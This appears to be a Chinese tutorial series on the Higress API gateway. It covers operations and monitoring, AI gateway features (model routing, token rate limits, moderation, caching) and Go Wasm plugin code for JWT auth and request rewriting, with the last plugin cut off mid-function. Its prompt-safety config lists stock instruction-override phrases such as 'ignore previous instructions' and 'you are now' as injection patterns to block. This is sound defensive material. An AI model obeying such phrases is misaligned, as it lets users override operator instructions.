# 6. 测试核心路由
curl -H "Host: api.example.com" http://<gateway-ip>/api/health

升级注意事项

✅ 推荐做法：
1. 先在测试环境验证
2. 备份所有 CRD 配置
3. 使用 --reuse-values 保留自定义配置
4. 滚动升级（默认），避免中断
5. 升级后立即测试核心路由

❌ 避免做法：
1. 直接升级生产环境（未测试）
2. 删除 PVC（丢失配置）
3. 同时升级多个组件（Controller + Gateway + Console）
4. 忽略版本兼容性（K8s 版本、Istio 版本）

回滚

# 查看历史版本
helm history higress -n higress-system

# 回滚到指定版本
helm rollback higress <REVISION> -n higress-system

# 验证回滚
kubectl get pods -n higress-system
curl http://<gateway-ip>/api/health

监控告警

Grafana Dashboard

# 1. 导入 Higress Dashboard
# Grafana → Import → 输入 Dashboard ID（或上传 JSON）
# 官方 Dashboard：https://github.com/alibaba/higress/tree/main/grafana

# 2. 关键面板
# - 总览：QPS、P99 延迟、错误率
# - 路由分析：按路由分组的 QPS/延迟
# - 上游服务：上游延迟、错误、连接数
# - 资源使用：CPU、内存、连接数

告警规则

# PrometheusRule
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: higress-alerts
  namespace: monitoring
spec:
  groups:
    - name: higress
      rules:
        # 高错误率
        - alert: HigressHighErrorRate
          expr: |
            sum(rate(envoy_http_downstream_rq_5xx[5m])) 
            / 
            sum(rate(envoy_http_downstream_rq_total[5m])) > 0.05
          for: 2m
          labels:
            severity: critical
          annotations:
            summary: "Higress 错误率超过 5%"
        
        # 高延迟
        - alert: HigressHighLatency
          expr: |
            histogram_quantile(0.99, 
              rate(envoy_http_downstream_rq_time_bucket[5m])
            ) > 1000
          for: 5m
          labels:
            severity: warning
          annotations:
            summary: "Higress P99 延迟超过 1s"
        
        # 上游不可用
        - alert: HigressUpstreamDown
          expr: envoy_cluster_upstream_cx_active == 0
          for: 1m
          labels:
            severity: critical
        
        # Pod 重启
        - alert: HigressPodRestart
          expr: |
            increase(kube_pod_container_status_restarts_total{
              pod=~"higress-.*", namespace="higress-system"
            }[1h]) > 3
          for: 5m
          labels:
            severity: warning

故障排查

排查流程

问题现象
   ↓
1. 检查 Pod 状态
   kubectl get pods -n higress-system
   ↓
2. 查看日志
   kubectl logs -n higress-system deploy/higress-gateway --tail=100
   kubectl logs -n higress-system deploy/higress-controller --tail=100
   ↓
3. 检查配置
   kubectl get ingress,wasmplugin,mcpbridge -A
   kubectl describe ingress <name>
   ↓
4. 检查 Envoy 配置
   kubectl exec -n higress-system deploy/higress-gateway -- \
     curl -s localhost:15000/config_dump
   ↓
5. 检查上游服务
   kubectl get endpoints <service-name>
   curl http://<pod-ip>:<port>/health
   ↓
6. 网络连通性
   kubectl exec -n higress-system deploy/higress-gateway -- \
     curl -v http://<upstream-service>:<port>

常见问题速查

问题	可能原因	排查命令
502 Bad Gateway	上游服务不可用	`kubectl get endpoints`
503 Service Unavailable	熔断触发 / 无健康实例	`curl localhost:15000/clusters`
504 Gateway Timeout	上游超时	检查 `request-timeout`
404 Not Found	路由不匹配	`kubectl get ingress -o yaml`
401 Unauthorized	JWT 认证失败	查看 Gateway 日志
429 Too Many Requests	限流触发	检查限流配置
Pod CrashLoopBackOff	配置错误 / 镜像拉取失败	`kubectl describe pod`

调试工具

# 1. Envoy Admin API
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/help

# 常用端点：
# /config_dump    - 完整配置
# /clusters        - 上游集群状态
# /stats          - 指标统计
# /logging        - 日志级别调整

# 2. 调整日志级别（调试用）
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -X POST "localhost:15000/logging?level=debug"

# 3. 查看路由匹配
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"]=="type.googleapis.com/envoy.admin.v3.RoutesConfigDump")'

# 4. 查看 Wasm 插件状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"]=="type.googleapis.com/envoy.admin.v3.EcdsConfigDump")'

日常运维

配置备份

# 备份所有 Higress 配置
kubectl get ingress,wasmplugin,mcpbridge,configmap -A -o yaml > higress-backup-$(date +%Y%m%d).yaml

# 定时备份（CronJob）
apiVersion: batch/v1
kind: CronJob
metadata:
  name: higress-backup
  namespace: higress-system
spec:
  schedule: "0 2 * * *"    # 每天凌晨 2 点
  jobTemplate:
    spec:
      template:
        spec:
          containers:
            - name: backup
              image: bitnami/kubectl:latest
              command:
                - /bin/sh
                - -c
                - |
                  kubectl get ingress,wasmplugin,mcpbridge -A -o yaml > /backup/higress-$(date +%Y%m%d).yaml
              volumeMounts:
                - name: backup-volume
                  mountPath: /backup
          volumes:
            - name: backup-volume
              persistentVolumeClaim:
                claimName: higress-backup-pvc

配置审计

# 查看配置变更历史
kubectl get ingress -A -o custom-columns=NAME:.metadata.name,NAMESPACE:.metadata.namespace,UPDATED:.metadata.generation

# 使用 GitOps（ArgoCD/Flux）管理配置
# 所有 CRD 提交到 Git，自动同步到集群

容量规划

# 查看当前资源使用
kubectl top pods -n higress-system

# 根据 QPS 调整副本数
# 经验值：单 Pod 可处理 ~5000 QPS（取决于配置复杂度）
kubectl scale deploy/higress-gateway -n higress-system --replicas=4

# 调整资源限制
kubectl edit deploy/higress-gateway -n higress-system
# resources:
#   requests: { cpu: 1000m, memory: 1Gi }
#   limits: { cpu: 4000m, memory: 4Gi }

复习卡片

[!TIP] 快速复习清单

Console 访问：port-forward 8001 或通过 Ingress 暴露，默认 admin/admin

路由管理：Console UI 配置等价于 Ingress/HTTPRoute CRD

服务来源：Console 添加 McpBridge，支持 K8s/Nacos/Consul/DNS/静态

插件管理：Console 安装 WasmPlugin，配置生效范围（全局/域名/路由）

版本升级：helm upgrade --reuse-values，先备份配置，滚动升级

监控告警：Grafana Dashboard + PrometheusRule（错误率/延迟/上游不可用）

故障排查：Pod 状态 → 日志 → 配置 → Envoy Admin API → 上游服务

日常运维：配置备份（CronJob）、GitOps 审计、容量规划

[!TIP] 下一篇：网关选型对比将对比 Higress vs APISIX vs Kong vs Spring Cloud Gateway vs Nginx，帮助你做技术选型。

返回 Higress 学习路线总览 | 合集页

Higress AI 网关

Thu, 17 Sep 2026 07:30:00 GMT

[!NOTE] Higress 2024+ 重点发力 AI 网关场景，提供 LLM 代理、Token 限流、Prompt 改写、多模型路由等能力，是构建 AI 应用基础设施的理想选择。

AI 网关的价值

传统 API 网关 vs AI 网关

维度	传统 API 网关	AI 网关
计量单位	QPS / 带宽	Token（输入+输出）
响应模式	请求-响应	流式（SSE/Streaming）
内容处理	透传	Prompt 改写 / 内容审核
路由策略	路径/Header	模型能力 / 成本 / 延迟
安全关注	SQL 注入/XSS	Prompt 注入 / 敏感内容
成本模型	固定	按 Token 计费（差异大）

AI 网关核心能力

┌─────────────────────────────────────────────────┐
│                 AI 网关能力                       │
├──────────────┬──────────────────────────────────┤
│ 多模型路由   │ GPT-4 / Claude / 通义 / 文心 / 本地 │
│ Token 限流   │ 按用户/API Key/应用配额            │
│ Prompt 改写  │ 系统提示词注入、模板填充           │
│ 内容审核     │ 输入/输出敏感内容过滤              │
│ 流式处理     │ SSE 流式响应、首字节延迟优化       │
│ 成本统计     │ Token 消耗、费用计算               │
│ 缓存         │ 语义缓存（相似问题复用答案）       │
│ 降级         │ 主模型故障时自动切换备用模型       │
└──────────────┴──────────────────────────────────┘

多模型路由

配置多个 LLM 后端

# McpBridge 配置多个 LLM 服务
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: llm-services
  namespace: higress-system
spec:
  registries:
    # OpenAI
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
      protocol: https
    
    # Anthropic Claude
    - name: anthropic
      type: dns
      domain: api.anthropic.com
      port: 443
      protocol: https
    
    # 阿里通义千问
    - name: dashscope
      type: dns
      domain: dashscope.aliyuncs.com
      port: 443
      protocol: https
    
    # 本地部署（vLLM/Ollama）
    - name: local-llm
      type: static
      staticServers:
        - address: 10.0.0.100:8000

按路由分发到不同模型

# GPT-4 路由（高复杂度任务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-gpt4
  annotations:
    higress.io/destination: "openai.dns"
    higress.io/upstream-vhost: "api.openai.com"
    higress.io/request-header-authorization: "Bearer sk-xxx"
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/gpt4
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# Claude 路由（代码任务）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-claude
  annotations:
    higress.io/destination: "anthropic.dns"
    higress.io/upstream-vhost: "api.anthropic.com"
    higress.io/request-header-x-api-key: "sk-ant-xxx"
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/claude
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# 通义千问路由（中文任务，成本低）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-qwen
  annotations:
    higress.io/destination: "dashscope.dns"
    higress.io/upstream-vhost: "dashscope.aliyuncs.com"
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/qwen
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

智能路由（按任务类型）

# Wasm 插件实现智能路由
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: llm-router
spec:
  url: oci://registry.example.com/plugins/llm-router:v1
  defaultConfig:
    routes:
      - match:
          header: X-Task-Type
          value: "code"
        target: "anthropic.dns"    # Claude 擅长代码
      - match:
          header: X-Task-Type
          value: "chinese"
        target: "dashscope.dns"    # 通义擅长中文
      - match:
          header: X-Task-Type
          value: "complex"
        target: "openai.dns"       # GPT-4 复杂推理
      - default: true
        target: "local-llm"        # 默认本地模型（成本低）

Token 限流

为什么需要 Token 限流

传统限流：100 QPS（每个请求成本相同）
AI 限流：100 QPS 但每个请求 Token 消耗差异巨大

示例：
- 请求 A："你好" → 10 tokens
- 请求 B："写一篇 5000 字论文" → 5000 tokens

如果只限 QPS，请求 B 的成本是请求 A 的 500 倍！
必须按 Token 限流。

Token 限流插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: token-rate-limit
spec:
  url: oci://registry.example.com/plugins/token-rate-limit:v1
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    redis_cluster: "outbound|6379||redis.redis.svc.cluster.local"
    
    # 按用户 Token 配额
    rules:
      - name: "free-tier"
        match:
          header: X-User-Tier
          value: "free"
        limit:
          input_tokens: 10000       # 每天 1 万输入 Token
          output_tokens: 5000       # 每天 5 千输出 Token
          total_tokens: 15000
          window: 86400             # 24 小时
      
      - name: "pro-tier"
        match:
          header: X-User-Tier
          value: "pro"
        limit:
          input_tokens: 1000000
          output_tokens: 500000
          total_tokens: 1500000
          window: 86400
      
      - name: "enterprise"
        match:
          header: X-User-Tier
          value: "enterprise"
        limit:
          input_tokens: 100000000
          output_tokens: 50000000
          window: 86400
    
    # 按模型成本加权
    model_weights:
      gpt-4: 30          # GPT-4 每 Token 成本是基准的 30 倍
      gpt-3.5-turbo: 1
      claude-3-opus: 25
      claude-3-sonnet: 5
      qwen-max: 3
      qwen-turbo: 1
    
    # 超限响应
    rejected_code: 429
    rejected_body: |
      {
        "error": "token_limit_exceeded",
        "message": "Your daily token quota has been exceeded",
        "upgrade_url": "https://example.com/upgrade"
      }

Token 计算逻辑

// Wasm 插件中计算 Token（伪代码）
func calculateTokens(body []byte, model string) (inputTokens, outputTokens int) {
	// 1. 解析请求 Body
	var req map[string]interface{}
	json.Unmarshal(body, &req)
	
	// 2. 计算输入 Token
	messages := req["messages"].([]interface{})
	for _, msg := range messages {
		content := msg.(map[string]interface{})["content"].(string)
		// 使用 tiktoken 或近似算法
		inputTokens += estimateTokens(content)
	}
	
	// 3. 输出 Token（从响应中获取，或预估）
	// 流式响应需要累计 chunk 中的 token
	
	// 4. 按模型权重加权
	weight := modelWeights[model]
	inputTokens = inputTokens * weight
	outputTokens = outputTokens * weight
	
	return
}

// 近似 Token 估算（英文 ~4 chars/token，中文 ~1.5 chars/token）
func estimateTokens(text string) int {
	// 简化实现，实际应该用 tiktoken
	return len(text) / 3
}

Prompt 改写

系统提示词注入

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: prompt-injector
spec:
  url: oci://registry.example.com/plugins/prompt-injector:v1
  defaultConfig:
    # 按路由注入系统提示词
    rules:
      - match:
          path_prefix: "/v1/chat/customer-service"
        inject:
          role: "system"
          content: |
            你是一个专业的客服助手。请遵循以下规则：
            1. 始终保持礼貌和专业
            2. 不要透露内部信息
            3. 如果不确定，引导用户联系人工客服
            4. 回答控制在 200 字以内
      
      - match:
          path_prefix: "/v1/chat/code-review"
        inject:
          role: "system"
          content: |
            你是一个资深代码审查专家。请：
            1. 指出代码中的 bug 和安全隐患
            2. 提供改进建议
            3. 遵循 SOLID 原则
            4. 给出具体的代码示例
      
      - match:
          path_prefix: "/v1/chat/translation"
        inject:
          role: "system"
          content: |
            你是专业翻译。请：
            1. 保持原文语义
            2. 符合目标语言表达习惯
            3. 专业术语准确
            4. 只输出翻译结果，不要解释

Prompt 模板填充

defaultConfig:
  templates:
    - name: "sql-generator"
      match:
        header: X-Task-Type
        value: "sql"
      template: |
        你是一个 SQL 专家。根据以下需求生成 SQL：
        
        数据库 Schema：
        {{schema}}
        
        用户需求：
        {{user_input}}
        
        要求：
        1. 使用标准 SQL 语法
        2. 考虑性能（索引、JOIN 优化）
        3. 添加注释说明
        4. 只输出 SQL，不要解释
      
      variables:
        schema:
          from: "header"
          key: "X-DB-Schema"
        user_input:
          from: "body"
          path: "messages[-1].content"

Prompt 安全检查

defaultConfig:
  # Prompt 注入检测
  injection_detection:
    enabled: true
    patterns:
      - "ignore previous instructions"
      - "ignore all previous"
      - "disregard.*instructions"
      - "system prompt"
      - "you are now"
      - "new instructions"
    action: "block"       # block / log / sanitize
  
  # 敏感话题过滤
  topic_filter:
    enabled: true
    blocked_topics:
      - "violence"
      - "illegal"
      - "harmful"
    action: "block"
  
  # 输出长度限制
  max_output_tokens: 4096

内容审核

输入审核（用户 Prompt）

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: content-moderation
spec:
  url: oci://registry.example.com/plugins/content-moderation:v1
  defaultConfig:
    # 输入审核
    input_moderation:
      enabled: true
      # 调用外部审核服务
      provider: "aliyun-green"    # 阿里云内容安全
      endpoint: "green.cn-shanghai.aliyuncs.com"
      access_key: "${ALIYUN_AK}"
      access_secret: "${ALIYUN_SK}"
      
      # 审核维度
      scenes:
        - "porn"          # 色情
        - "terrorism"     # 暴恐
        - "ad"            # 广告
        - "live"          # 不良场景
        - "logo"          # 特殊标识
      
      # 处理策略
      action_on_block: "reject"     # reject / sanitize / log
      action_on_review: "pass"      # pass / reject
  
  # 输出审核（LLM 响应）
  output_moderation:
    enabled: true
    provider: "aliyun-green"
    # 流式响应需要缓冲后审核
    stream_buffer_size: 1024        # 每 1KB 审核一次
    action_on_block: "truncate"     # truncate / replace / reject

自定义审核规则

defaultConfig:
  custom_rules:
    # 关键词过滤
    - name: "sensitive-words"
      type: "keyword"
      keywords:
        - "暴力"
        - "色情"
        - "赌博"
        - "毒品"
      action: "block"
    
    # 正则过滤
    - name: "phone-number"
      type: "regex"
      pattern: "1[3-9]\\d{9}"
      action: "mask"          # 脱敏：138****1234
    
    # 语义审核（调用 LLM）
    - name: "semantic-check"
      type: "llm"
      prompt: |
        判断以下内容是否包含有害信息：
        {{content}}
        
        只回答：safe / unsafe / review
      model: "qwen-turbo"     # 用便宜模型审核
      action_on_unsafe: "block"
      action_on_review: "log"

流式响应处理

SSE 流式代理

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: llm-streaming
  annotations:
    # 禁用响应缓冲（关键！）
    higress.io/proxy-buffering: "off"
    # 超时设置（流式响应可能很长）
    higress.io/request-timeout: "300s"
    higress.io/upstream-response-timeout: "300s"
    # 分块传输
    higress.io/chunked-transfer: "on"
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat/stream
            backend:
              service:
                name: llm-service
                port: { number: 8000 }

流式 Token 统计

// Wasm 插件处理流式响应
func onHttpResponseBody(ctx wrapper.HttpContext, config Config, body []byte, log wrapper.Log) wrapper.Action {
	// SSE 格式：data: {...}\n\n
	lines := strings.Split(string(body), "\n")
	
	for _, line := range lines {
		if strings.HasPrefix(line, "data: ") {
			data := strings.TrimPrefix(line, "data: ")
			
			// 解析 chunk
			var chunk map[string]interface{}
			json.Unmarshal([]byte(data), &chunk)
			
			// 累计 Token
			if usage, ok := chunk["usage"].(map[string]interface{}); ok {
				inputTokens += int(usage["prompt_tokens"].(float64))
				outputTokens += int(usage["completion_tokens"].(float64))
			}
		}
	}
	
	// 流式结束（data: [DONE]）
	if strings.Contains(string(body), "data: [DONE]") {
		// 上报 Token 统计
		reportTokenUsage(ctx, inputTokens, outputTokens)
	}
	
	return wrapper.ActionContinue
}

语义缓存

原理

用户问题："什么是 Kubernetes？"
   ↓
计算语义向量（Embedding）
   ↓
查询向量数据库（相似问题）
   ↓
命中缓存（相似度 > 0.95）→ 直接返回缓存答案
未命中 → 调用 LLM → 存入缓存

配置语义缓存

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: semantic-cache
spec:
  url: oci://registry.example.com/plugins/semantic-cache:v1
  defaultConfig:
    # Embedding 服务
    embedding:
      provider: "openai"
      model: "text-embedding-3-small"
      endpoint: "https://api.openai.com/v1/embeddings"
    
    # 向量数据库
    vector_db:
      type: "redis"           # redis / milvus / qdrant
      endpoint: "redis.redis.svc.cluster.local:6379"
      index: "llm-cache"
    
    # 缓存策略
    cache:
      similarity_threshold: 0.95    # 相似度阈值
      ttl: 3600                     # 缓存 1 小时
      max_entries: 100000           # 最大缓存条目
    
    # 缓存 Key
    key_template: "{{model}}:{{user_id}}:{{prompt_hash}}"

成本统计与计费

Token 消耗统计

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: llm-cost-tracker
spec:
  url: oci://registry.example.com/plugins/llm-cost-tracker:v1
  defaultConfig:
    # 模型单价（美元/1K tokens）
    pricing:
      gpt-4:
        input: 0.03
        output: 0.06
      gpt-3.5-turbo:
        input: 0.0005
        output: 0.0015
      claude-3-opus:
        input: 0.015
        output: 0.075
      claude-3-sonnet:
        input: 0.003
        output: 0.015
      qwen-max:
        input: 0.02
        output: 0.06
    
    # 统计维度
    dimensions:
      - "user_id"           # 按用户
      - "api_key"           # 按 API Key
      - "model"             # 按模型
      - "application"       # 按应用
    
    # 上报
    report:
      interval: 60          # 每分钟上报
      endpoint: "http://billing-service.internal/api/usage"

实战：完整 AI 网关配置

# 1. 服务发现（多 LLM）
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: llm-services
  namespace: higress-system
spec:
  registries:
    - name: openai
      type: dns
      domain: api.openai.com
      port: 443
    - name: anthropic
      type: dns
      domain: api.anthropic.com
      port: 443
    - name: dashscope
      type: dns
      domain: dashscope.aliyuncs.com
      port: 443

---
# 2. 路由配置
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ai-gateway
  annotations:
    higress.io/destination: "openai.dns"
    higress.io/proxy-buffering: "off"
    higress.io/request-timeout: "300s"
spec:
  ingressClassName: higress
  rules:
    - host: ai.example.com
      http:
        paths:
          - path: /v1/chat
            pathType: Prefix
            backend:
              resource:
                apiGroup: networking.higress.io
                kind: McpBridge
                name: llm-services

---
# 3. Token 限流
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: token-limit
spec:
  url: oci://registry.example.com/plugins/token-rate-limit:v1
  phase: UNSPECIFIED_PHASE
  priority: 900
  defaultConfig:
    rules:
      - name: "free"
        limit: { total_tokens: 15000, window: 86400 }
      - name: "pro"
        limit: { total_tokens: 1500000, window: 86400 }

---
# 4. Prompt 注入
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: prompt-injector
spec:
  url: oci://registry.example.com/plugins/prompt-injector:v1
  priority: 800
  defaultConfig:
    rules:
      - match: { path_prefix: "/v1/chat/support" }
        inject:
          role: "system"
          content: "你是专业客服助手..."

---
# 5. 内容审核
apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: content-moderation
spec:
  url: oci://registry.example.com/plugins/content-moderation:v1
  priority: 700
  defaultConfig:
    input_moderation: { enabled: true, provider: "aliyun-green" }
    output_moderation: { enabled: true, provider: "aliyun-green" }

复习卡片

[!TIP] 快速复习清单

AI 网关 vs 传统网关：Token 计量、流式响应、Prompt 处理、内容审核、成本模型

多模型路由：按任务类型/成本/延迟路由到 GPT-4/Claude/通义/本地模型

Token 限流：按用户/API Key/应用配额，模型成本加权，Redis 滑动窗口

Prompt 改写：系统提示词注入、模板填充、安全检查（注入检测/敏感话题）

内容审核：输入审核（用户 Prompt）、输出审核（LLM 响应）、流式缓冲审核

流式处理：SSE 代理、禁用缓冲、Token 累计统计、超时设置

语义缓存：Embedding 向量、相似度匹配、TTL 策略

成本统计：模型单价、多维度统计（用户/模型/应用）、定期上报

[!TIP] 下一篇：Console 与运维将讲解 Higress Console 使用、配置管理、版本升级、监控告警、故障排查。

返回 Higress 学习路线总览 | 合集页

Higress Wasm 插件实战

Thu, 17 Sep 2026 07:00:00 GMT

[!NOTE] 本文实战实现 4 个生产级 Wasm 插件，覆盖认证、改写、限流、灰度四大核心场景。

插件一：JWT 认证插件

需求

验证 JWT Token 签名和 Claims
支持 JWKS URI 动态获取公钥
白名单路径跳过认证
透传用户信息到上游

完整代码

package main

import (
	"crypto/rsa"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"strings"
	"sync"
	"time"

	"github.com/golang-jwt/jwt/v5"
	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
	"github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm"
)

func main() {
	wrapper.SetCtx(
		"jwt-auth",
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
	)
}

type JWTAuthConfig struct {
	Issuer          string   `json:"issuer"`
	Audience        string   `json:"audience"`
	JWKSUri         string   `json:"jwks_uri"`
	WhiteList       []string `json:"white_list"`
	ClaimsToForward []string `json:"claims_to_forward"`
	
	// 运行时状态
	publicKeys      map[string]*rsa.PublicKey
	keysMutex       sync.RWMutex
	keysLastUpdate  time.Time
	clusterName     string
}

func parseConfig(json gjson.Result, config *JWTAuthConfig, log wrapper.Log) error {
	config.Issuer = json.Get("issuer").String()
	config.Audience = json.Get("audience").String()
	config.JWKSUri = json.Get("jwks_uri").String()
	config.clusterName = json.Get("cluster_name").String()
	
	for _, item := range json.Get("white_list").Array() {
		config.WhiteList = append(config.WhiteList, item.String())
	}
	
	for _, item := range json.Get("claims_to_forward").Array() {
		config.ClaimsToForward = append(config.ClaimsToForward, item.String())
	}
	
	config.publicKeys = make(map[string]*rsa.PublicKey)
	
	log.Infof("JWT Auth Plugin initialized, issuer=%s, jwks_uri=%s", config.Issuer, config.JWKSUri)
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config JWTAuthConfig, log wrapper.Log) wrapper.Action {
	path := ctx.Path()
	
	// 白名单检查
	for _, whitePath := range config.WhiteList {
		if matchPath(path, whitePath) {
			log.Debugf("Path %s in whitelist", path)
			return wrapper.ActionContinue
		}
	}
	
	// 提取 Token
	authHeader, _ := ctx.GetRequestHeader("Authorization")
	if authHeader == "" {
		sendUnauthorized(ctx, "Missing Authorization header")
		return wrapper.ActionStop
	}
	
	tokenString := strings.TrimPrefix(authHeader, "Bearer ")
	if tokenString == authHeader {
		sendUnauthorized(ctx, "Invalid Authorization format, expected Bearer token")
		return wrapper.ActionStop
	}
	
	// 解析 Token（先不验证签名，提取 kid）
	parser := jwt.NewParser(jwt.WithoutClaimsValidation())
	token, _, err := parser.ParseUnverified(tokenString, jwt.MapClaims{})
	if err != nil {
		sendUnauthorized(ctx, fmt.Sprintf("Invalid token format: %v", err))
		return wrapper.ActionStop
	}
	
	kid, _ := token.Header["kid"].(string)
	
	// 获取公钥（带缓存）
	publicKey, err := getPublicKey(config, kid, log)
	if err != nil {
		sendUnauthorized(ctx, fmt.Sprintf("Failed to get public key: %v", err))
		return wrapper.ActionStop
	}
	
	// 验证 Token
	validatedToken, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
		if _, ok := t.Method.(*jwt.SigningMethodRSA); !ok {
			return nil, fmt.Errorf("unexpected signing method: %v", t.Header["alg"])
		}
		return publicKey, nil
	}, jwt.WithIssuer(config.Issuer), jwt.WithAudience(config.Audience))
	
	if err != nil || !validatedToken.Valid {
		sendUnauthorized(ctx, fmt.Sprintf("Token validation failed: %v", err))
		return wrapper.ActionStop
	}
	
	// 透传 Claims
	if claims, ok := validatedToken.Claims.(jwt.MapClaims); ok {
		for _, claimKey := range config.ClaimsToForward {
			if value, ok := claims[claimKey]; ok {
				headerKey := fmt.Sprintf("X-JWT-%s", strings.ToUpper(strings.ReplaceAll(claimKey, "-", "_")))
				valueStr := formatClaimValue(value)
				ctx.SetRequestHeader(headerKey, valueStr)
			}
		}
		log.Infof("JWT auth success, sub=%v", claims["sub"])
	}
	
	return wrapper.ActionContinue
}

func getPublicKey(config JWTAuthConfig, kid string, log wrapper.Log) (*rsa.PublicKey, error) {
	// 读缓存
	config.keysMutex.RLock()
	key, ok := config.publicKeys[kid]
	needUpdate := time.Since(config.keysLastUpdate) > 10*time.Minute
	config.keysMutex.RUnlock()
	
	if ok && !needUpdate {
		return key, nil
	}
	
	// 缓存未命中或过期，异步获取 JWKS
	log.Infof("Fetching JWKS from %s", config.JWKSUri)
	
	// 注意：Wasm 中不能阻塞等待，需要用 DispatchHttpCall 异步获取
	// 这里简化处理，实际应该用异步回调更新缓存
	
	return nil, fmt.Errorf("public key not found for kid=%s", kid)
}

func matchPath(path, pattern string) bool {
	if strings.HasSuffix(pattern, "*") {
		return strings.HasPrefix(path, strings.TrimSuffix(pattern, "*"))
	}
	return path == pattern
}

func formatClaimValue(value interface{}) string {
	switch v := value.(type) {
	case string:
		return v
	case []interface{}:
		parts := make([]string, len(v))
		for i, item := range v {
			parts[i] = fmt.Sprintf("%v", item)
		}
		return strings.Join(parts, ",")
	default:
		return fmt.Sprintf("%v", v)
	}
}

func sendUnauthorized(ctx wrapper.HttpContext, message string) {
	body, _ := json.Marshal(map[string]string{
		"error":   "unauthorized",
		"message": message,
	})
	ctx.SendHttpResponse(401, map[string]string{
		"Content-Type": "application/json",
	}, body, -1)
}

插件配置

apiVersion: extensions.higress.io/v1alpha1
kind: WasmPlugin
metadata:
  name: jwt-auth
  namespace: higress-system
spec:
  url: oci://registry.example.com/plugins/jwt-auth:v1.0.0
  phase: AUTHN
  priority: 1000
  defaultConfig:
    issuer: "https://auth.example.com"
    audience: "api.example.com"
    jwks_uri: "https://auth.example.com/.well-known/jwks.json"
    cluster_name: "outbound|443||auth.example.com"
    white_list:
      - "/api/health"
      - "/api/public/*"
      - "/api/login"
    claims_to_forward:
      - "sub"
      - "email"
      - "roles"

插件二：请求改写插件

需求

路径前缀替换（/api/v1 → /v1）
Header 添加/删除/修改
Query 参数处理
请求体重写

完整代码

package main

import (
	"encoding/json"
	"fmt"
	"strings"

	"github.com/higress-group/wasm-go/pkg/wrapper"
	"github.com/tidwall/gjson"
	"github.com/tidwall/sjson"
)

func main() {
	wrapper.SetCtx(
		"request-transformer",
		wrapper.ParseConfigBy(parseConfig),
		wrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),
		wrapper.ProcessRequestBodyBy(onHttpRequestBody),
	)
}

type TransformConfig struct {
	// 路径改写
	PathRewrite []PathRewriteRule `json:"path_rewrite"`
	
	// Header 操作
	HeadersToAdd    map[string]string `json:"headers_to_add"`
	HeadersToRemove []string          `json:"headers_to_remove"`
	HeadersToRename map[string]string `json:"headers_to_rename"`
	
	// Query 操作
	QueryParamsToAdd    map[string]string `json:"query_params_to_add"`
	QueryParamsToRemove []string          `json:"query_params_to_remove"`
	
	// Body 改写（JSON）
	BodyFieldsToAdd    map[string]interface{} `json:"body_fields_to_add"`
	BodyFieldsToRemove []string               `json:"body_fields_to_remove"`
}

type PathRewriteRule struct {
	Match       string `json:"match"`        // 前缀匹配
	Replacement string `json:"replacement"`  // 替换为
	Regex       bool   `json:"regex"`        // 是否正则
}

func parseConfig(json gjson.Result, config *TransformConfig, log wrapper.Log) error {
	// 解析路径改写规则
	for _, item := range json.Get("path_rewrite").Array() {
		config.PathRewrite = append(config.PathRewrite, PathRewriteRule{
			Match:       item.Get("match").String(),
			Replacement: item.Get("replacement").String(),
			Regex:       item.Get("regex").Bool(),
		})
	}
	
	// 解析 Header 操作
	config.HeadersToAdd = parseStringMap(json.Get("headers_to_add"))
	config.HeadersToRemove = parseStringArray(json.Get("headers_to_remove"))
	config.HeadersToRename = parseStringMap(json.Get("headers_to_rename"))
	
	// 解析 Query 操作
	config.QueryParamsToAdd = parseStringMap(json.Get("query_params_to_add"))
	config.QueryParamsToRemove = parseStringArray(json.Get("query_params_to_remove"))
	
	log.Infof("Request Transformer Plugin initialized")
	return nil
}

func onHttpRequestHeaders(ctx wrapper.HttpContext, config TransformConfig, log wrapper.Log) wrapper.Action {
	// 1. 路径改写
